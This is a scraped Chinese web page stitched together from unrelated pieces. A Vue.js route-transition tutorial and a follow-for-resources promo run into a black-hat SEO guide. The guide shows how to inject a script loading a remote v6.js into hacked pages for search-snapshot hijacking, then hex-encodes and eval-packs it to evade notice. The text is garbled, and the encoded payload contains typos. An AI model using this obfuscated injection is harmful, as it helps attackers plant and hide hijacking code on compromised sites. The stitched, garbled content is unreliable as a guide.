簡單,一句代碼足矣。
window.
本文由ISMY博客發(fā)布??
轉(zhuǎn)載請注明出處。
、效果圖
二、思路
1. 定義兩個 CSS 過度動畫,前進(jìn)與后退: slide-right-enter 和 slide-left-enter
2. 給路由配置meta信息,設(shè)置各個路由的級別: index
3. 監(jiān)控路由跳轉(zhuǎn),比對 meta 信息級別,如果從大跳轉(zhuǎn)到小說明是返回,從小跳轉(zhuǎn)到大則是前進(jìn)
身為前端老司機(jī),還是得分享些干貨精品學(xué)習(xí)資料的,前端資料獲取方式:
1.在你手機(jī)的右上角有【關(guān)注】選項,點擊關(guān)注!
2.關(guān)注后,手機(jī)客戶端點擊我的主頁面,右上角有私信,請私信回復(fù):【學(xué)習(xí)】
已經(jīng)設(shè)置好了關(guān)鍵詞自動回復(fù),所以回復(fù)的時候請注意關(guān)鍵詞喲~
三、具體代碼
APP.vue
<template> <div id="app"> <transition :name="transitionName"> <router-view/> </transition> </div> </template> <script> export default { name: 'app', data () { return { transitionName: '' } }, watch: { $route (to, from) { if (to.meta.index > from.meta.index) { this.transitionName='slide-left' } else { this.transitionName='slide-right' } } } } </script> <style lang="scss"> #app { color: #2c3e50; } //轉(zhuǎn)場動畫 .slide-right-enter-active, .slide-right-leave-active, .slide-left-enter-active, .slide-left-leave-active { // 啟用硬件加速 will-change: transform; transition: all 300ms; position: fixed; } .slide-right-enter { transform: translate(-100%, 0); transition-timing-function: ease-in; } .slide-left-enter { transform: translate(100%, 0); transition-timing-function: ease-in; } </style>
router.js
一些黑帽SEO要對跳轉(zhuǎn)的js代碼進(jìn)行加密,學(xué)習(xí)JavaScript加密方式,當(dāng)我們網(wǎng)站被黑時,看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網(wǎng)站被黑問題。今天,錯誤博客(cuowu.com)分享的內(nèi)容為《黑帽SEO教程為html中的js跳轉(zhuǎn)url加密》。希望對大家有所幫助。
JavaScript跳轉(zhuǎn)是黑帽SEO中快照劫持常見操作手法,比如在寄生蟲程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:
<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>
這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內(nèi)容為if判斷語句,如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內(nèi)容,如果是用戶直接訪問瀏覽器則會顯示原頁面內(nèi)容。
首先把上面的命令增加為如下:
window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;
然后,對前面雙引號內(nèi)的內(nèi)容進(jìn)行16進(jìn)制加密,后面單引號內(nèi)容也同樣進(jìn)行16進(jìn)制加密,依次為:
\x64\x6f\x63\x75\x6d\x65\x6e\x74
\x77\x72\x69\x74\x65
\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73
這個可以用utf-8轉(zhuǎn)16進(jìn)制加密在線工具即可。錯誤博客站長導(dǎo)航里面有。
站長導(dǎo)航(https://cuowu.com/daohang/)
加密完成后變?yōu)椋?/span>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
然后,把上述的js代碼再次補(bǔ)充一下才能正常運(yùn)行,即:
<script type=”text/javascript”>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
</script>
把中間window到</script>;的內(nèi)容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式,錯誤博客站長導(dǎo)航里面有。
站長導(dǎo)航(https://cuowu.com/daohang/)
獲得如下加密代碼如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
最終獲得的加密代碼如下:
<script type=”text/javascript”>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
</script>
這就是全部的js加密壓縮過程了,解壓過程反過來推就可以了。
以上就是錯誤博客(https://cuowu.com/)分享的內(nèi)容為《黑帽SEO為html中的js加密(js混淆與16進(jìn)制加密)》。感謝您的閱讀。更多原創(chuàng)搜索“錯誤博客”。
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。